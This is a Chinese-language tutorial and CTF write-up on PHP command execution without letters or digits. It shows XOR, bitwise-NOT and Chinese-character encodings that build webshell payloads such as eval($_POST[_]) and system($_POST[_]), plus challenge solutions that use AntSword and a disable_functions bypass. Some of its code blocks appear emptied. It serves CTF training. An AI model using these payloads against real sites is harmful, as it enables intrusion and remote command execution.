无数字字母RCE就是不利用数字和字母,构造webshell来执行命令。常见的利用方法有异或、取反这两种,此外还有或、自增和临时文件。
异或
法一
在php中,两个字符进行异或时,会先将字符分别转换成ascii码值,再将这个值转换成二进制,然后将两个二进制值进行按位异或。按位异或的规则:1^1=0,0^0=0,1^0=1
以@和!异或得a为例,下面是三种不同的方法:
echo '@'^'!'; |
通过构造$_GET[]传入新的参数,执行phpinfo();
eval($_GET[code]); |
脚本:
|
法二
原理:按位异或相同为0不同为1,任意字符与%ff异或两次得任意字符。
先看下面这个例子:
|
构造print_r(scandir(.));:
//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff #print_r |
构造readfile(end(scandir(.)));:
((%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9A%91%9B)^(%ff%ff%ff))((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff)); |
有时候可能会限制字符的种类个数,我们就需要在原有的字符里再相互异或出需要的字符,需要一个一个找哪些字符可以由哪些字符异或得出。
例如a = c^p^r,为什么要三个字符异或两次而不是两个字符异或一次呢,因为要保证其他的字符不变,需要与%ff异或两次。
|
现在要将((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))减少字符种类,其实我们是要对%8F%8D%96%91%8B%A0%8D进行多次异或使之不变,已知n = i^s^t。
echo urlencode('n'^urldecode("%ff")); |
故有如下结论:
%8F%8D%96%91%8B%A0%8D = (%8F%8D%96%96%8B%A0%8D)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff) |
取反
因为取反后的结果有不可见字符,故需对其进行url编码,而_GET传参会对url编码的内容进行解码。
法一
对_POST进行取反并url编码,在解码取反得到。由于这部分要与assert()一起利用,故(eval($_POST[_]))这里外层加上了括号。
echo urlencode(~'_POST'); #%A0%AF%B0%AC%AB |
构造eval($_POST[_]);
# assert %9E%8C%8C%9A%8D%8B |
构造phpinfo();
# phpinfo %8F%97%8F%96%91%99%90 |
另一种方式构造system($_POST[_])
$_ = ~(%8C%86%8C%8B%9A%92); #定义变量$_为system |
法二
这种方法是利用汉字取反构造。
可以通过对'构'{1}进行取反,来构造字符a,而1可以通过'_'=='_'来获得。'_'=='_'结果为真,故返回1,反之'_'=='__'结果为假,返回0。
构造phpinfo();
$_=[]==[]; |
构造system($_POST[_]);
$_=[]==[]; |
寻找对应汉字的脚本:
|
例题
[SUCTF 2019]EasyWeb
要绕过如下过滤:
已知_,G,E,T字符可以如下构成
_:%86^%d9 |
构造执行phpinfo()的payload
eval($_GET[code]); |
[极客大挑战 2019]RCE ME
源码如下:
$code=$_GET['code']; |
过滤了大小写字母和数字
先通过phpinfo()测试一下
# phpinfo %8F%97%8F%96%91%99%90 |
%8F%97%8F%96%91%99%90是什么呢?是由字符串phpinfo先取反再进行url编码所得到的一串编码。
|
解题:
传入参数?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);
蚁剑连接http://81ee6069-0856-4349-b89f-342253bbe6eb.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);
绕过diasble_functions
然后选择绕过diasble_functions插件
选择模式,PHP7_GC_UAF
在命令行界面中执行/readflag,得到flag
[SUCTF 2018]GetShell
上传一个文件,会对文件中从第五个字符及以后依次检查,该过滤的都过滤完了,就只剩下$ ~ [] _ () ; .这些字符没有被过滤,这里利用一种汉字取反的方法。
构造system($_POST[_]);,并上传
|
buu环境原因,只能在环境变量中查看flag,system('env')查看系统中的环境变量。
